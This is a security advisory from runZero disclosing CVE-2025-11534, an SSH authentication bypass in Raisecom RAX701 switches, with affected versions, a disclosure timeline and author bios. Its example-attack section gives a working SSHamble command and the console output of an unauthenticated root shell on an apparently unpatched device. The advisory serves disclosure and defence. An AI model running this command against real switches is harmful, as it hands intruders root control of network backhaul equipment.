Raisecom SSH authentication bypass

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Updated
Products
Raisecom RAX series devices
  • Raisecom RAX series devices
Related

Executive summary #

runZero has discovered an issue with Raisecom RAX701 devices, and is publishing this disclosure in accordance with runZero’s standard disclosure policy today, October 21, 2025. CVE-2025-11534 has been assigned to this issue. Any questions about this disclosure should be directed to todb@runzero.com.

By skipping normal SSH authentication, a remote, unauthenticated attacker can gain control of Ethernet switches produced by Raisecom.

This issue is an instance of CWE-288, ‘Authentication Bypass Using an Alternate Path or Channel,’ and is estimated to have a CVSS 3.1 score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Technical details #

Raisecom produces Ethernet switches used to facilitate backhaul connections between ISPs and other businesses. Due to the way the device handles SSH authentication when connecting to either port 10022/TCP and 830/TCP (SSH and NETCONF SSH, respectively), an attacker can skip authentication and access the NETCONF service or the system root shell.

Affected Products #

This issue appears to affect the following devices:

  • P200R002C53
  • RAX701-GC-WP-01 P200R002C52
  • RAX701-GC-WP-01 P200R002C53

Observed affected firmware versions include:

  • 5.5.13_20180720
  • 5.5.27_20190111
  • 5.5.36_20190709

Example Attack #

This issue is most easily demonstrated by using the open source SSHamble research tool, using the command-line switches shown below.

./sshamble scan -L debug --interact=all -u root -p 10022,830 vuln.target.ip.addr

This results in skipping directly to the offered service, as shown in the lightly redacted console output, below.

time="1993-09-05 13:40:16" level=info msg="badkeys detection is not active, run `sshamble badkeys-update` to enable"
time="1993-09-05 13:40:22" level=debug msg="interaction enabled, starting stdin manager..."
time="1993-09-05 13:40:29" level=debug msg="vuln.target.ip.addr:10022 skip-ssh-userauth is running for user root"
time="1993-09-05 13:40:30" level=debug msg="vuln.target.ip.addr:830 is unreachable: dial tcp vuln.target.ip.addr:830: i/o timeout"
time="1993-09-05 13:40:31" level=info msg="scan processed 1 tasks in 10s"
time="1993-09-05 13:40:32" level=warning msg="vuln.target.ip.addr:10022 skip-ssh-userauth provided a session without ssh-userauth 'session': *******************************************************************\r\r\n       *                             WARNING !                           *\r\r\n       *                                                                 *\r\r\n       *   Access to this device is restricted to those individuals      *\r\r\n       *   with specific Permission.                                     *\r\r\n       *                                                                 *\r\r\n       *   UNAUTHORIZED ACCESS TO THIS DEVICE IS PROHIBITED              *\r\r\n       *                                                                 *\r\r\n       *   You must have explicit, authorized permission to access or    *\r\r\n       *   configure this device. Unauthorized attempts and actions      *\r\r\n       *   to access or use this system may result in civil and/or       *\r\r\n       *   criminal penalties.  If you are not an authorized user,       *\r\r\n       *   disconnect now. Any attempts to gain unauthorized access      *\r\r\n       *   will be prosecuted to the fullest extent of the law.          *\r\r\n       *******************************************************************\r\r\n\r\r\n\r\r\n\r\r\n\r\r\n\r\r\n\r\r\nRAX701#\r\r\nRAX701#\r\r\nRAX701#\r\r\nRAX701#\r\r\nRAX701#\r\r\nRAX701#show version\r\r\n\r\r\nProduct Version: RAX701-GC-WP-01 P200R002C53\r\r\nSoftware Version: 5.5.36_20190709\r\r\nRITP Version: 5.4\r\r\nBootstrap Version: BOOTROM_1.0.2\r\r\nFPGA Version: fpga:1.7    \r\r\nHardware Version: A.14\r\r\n\r\r\nSystem MacAddress: REDACTED\r\r\nSerial number: REDACTED\r\r\nRAX701-GC with\r\r\n128       M bytes  DRAM\r\r\n32        M bytes  Flash Memory\r\r\n2.631     M bytes  Free Flash Memory\r\r\n\r\r\nSystem uptime is 2 days, 4 hours, 2 minutes\r\r\n\r\r\nRAX701#\r\r\nRAX701#"
time="1993-09-05 13:40:38" level=debug msg="vuln.target.ip.addr:10022 skip-ssh-userauth is running for user root"
 sshamble> pty
 sshamble> shell
time="1993-09-05 13:40:41" level=info msg="vuln.target.ip.addr:10022 session spawned a subprocess"
Interacting with session on vuln.target.ip.addr:10022

  Enter the sshamble shell with `^E`. Commands:

    exit                       - Exit the session (aliases 'quit' or '.')
    help                       - Show this help text (alias '?')
    env      a=1 b=2           - Set the specified environment variables (-w for wait mode)
    pty                        - Request a pty on the remote session (-w for wait mode)
    shell                      - Request the default shell on the session
    exec     cmd arg1 arg2     - Request non-interactive command on the session
    signal   sig1 sig2         - Send one or more signals to the subprocess, case-sensitive:
                                 ABRT,ALRM,FPE,HUP,ILL,INT,KILL,PIPE,QUIT,SEGV,TERM,USR1,USR2
    tcp      host port         - Make a test connection to a TCP host and port
    unix     path              - Make a test connection to a Unix stream socket
    break    milliseconds      - Send a 'break' request to the service
    req      cmd arg1 arg2     - Send a custom SSH request to the service
    sub      subsystem         - Request a specific subsystem
    send     string            - Send string to the session
    sendb    string            - Send string to the session one byte at a time
    wait     cmd arg1 arg2     - Send another command and wait for a reply
    sleep    duration          - Sleep for the specified duration (1s, 100ms)

time="1993-09-05 13:40:42" level=info msg="waiting for session to complete..."

       *******************************************************************
       *                             WARNING !                           *
       *                                                                 *
       *   Access to this device is restricted to those individuals      *
       *   with specific Permission.                                     *
       *                                                                 *
       *   UNAUTHORIZED ACCESS TO THIS DEVICE IS PROHIBITED              *
       *                                                                 *
       *   You must have explicit, authorized permission to access or    *
       *   configure this device. Unauthorized attempts and actions      *
       *   to access or use this system may result in civil and/or       *
       *   criminal penalties.  If you are not an authorized user,       *
       *   disconnect now. Any attempts to gain unauthorized access      *
       *   will be prosecuted to the fullest extent of the law.          *
       *******************************************************************

RAX701#help
Raisecom software provides advanced help. Anytime when you need help,
please press '?' at the command line.

If nothing matches, the help list will be empty. You must backspace
your command until the available options are shown when entering
a '?'.
Two styles of help are provided by Raisecom:
1. Full help is available when entering a command followed by a
space and a '?'. Help of this style show all arguments and their
meanings to you. For example, by entering 'show ?', all arguments
of 'show' command are listed.
2. Partial help is provided when an argument's prefix immediately
followed by a '?'  is entered. Help of this style show you all the
command's arguments that match the input prefix. For example, by
entering 'show m?', the arguments begin with 'm' are listed.
RAX701#quit

Attacker value #

By skipping SSH authentication, anyone with access to ports 10022/TCP or 830/TCP on affected devices can claim a root shell or the NETCONF service (respectively). Doing so would give an attacker unusually potent control over backhaul Ethernet services facilitated by these devices, providing a platform for further attacks on affected networks.

Although CISA reached out to the vendor, Raisecom, we have been unable to confirm this issue with the vendor, and if other devices or firmware versions are affected. As far as we’re aware, no patch to fix this authentication issue has been provided provided by the vendor at the time of this disclosure.

Credit #

This issue was disclosed by runZero, was discovered by HD Moore. and disclosure was coordinated by Tod Beardsley and CISA.

Timeline #

  • 2025-08-09 (Sat): Briefly demoed at DEF CON 33 in the presentation, Shaking Out Shells with SSHamble
  • 2025-08-15 (Fri): PoC validated and this disclosure drafted
  • 2025-08-19 (Tue): Disclosed to CISA as report VRF#25-08-QRYYL
  • 2025-08-25 (Mon): CISA acknowledged as case VU#166934
  • 2025-08-25 (Mon): CISA attempted contact with the vendor
  • 2025-09-17 (Wed): More attempts to coordinate with the vendor
  • 2025-10-21 (Tue): Public disclosure of CVE-2025-11534

Written by HD Moore

HD Moore is the founder and CEO of runZero. Previously, he founded the Metasploit Project and served as the main developer of the Metasploit Framework, which is the world's most widely used penetration testing framework.

More about HD Moore

Written by todb

Tod Beardsley is VP of Security Research at runZero, where he "kicks assets and fakes frames." Prior to 2025, he was the Section Chief for the Vulnerability Response section for CSD/VM/VRC at CISA, the Cybersecurity and Infrastructure Security Agency, part of the US government, and a seasonal Travis County Election Judge in Texas. He's also a founder and CNA point of contact for AHA!.

Tod spends much of his time involved in vulnerability research and coordinated vulnerability disclosure (CVD). He has over 30 years of hands-on security experience, stretching from in-band telephony switching to modern ICS/OT implementations. He has held IT ops, security, software engineering, and management positions in large organizations such as the US Government, Rapid7, 3Com, Dell, and Westinghouse, as both an offensive and defensive practitioner. Tod is a CVE Board member, has authored several research papers, and is an internationally-tolerated horror fiction expert.

More about todb
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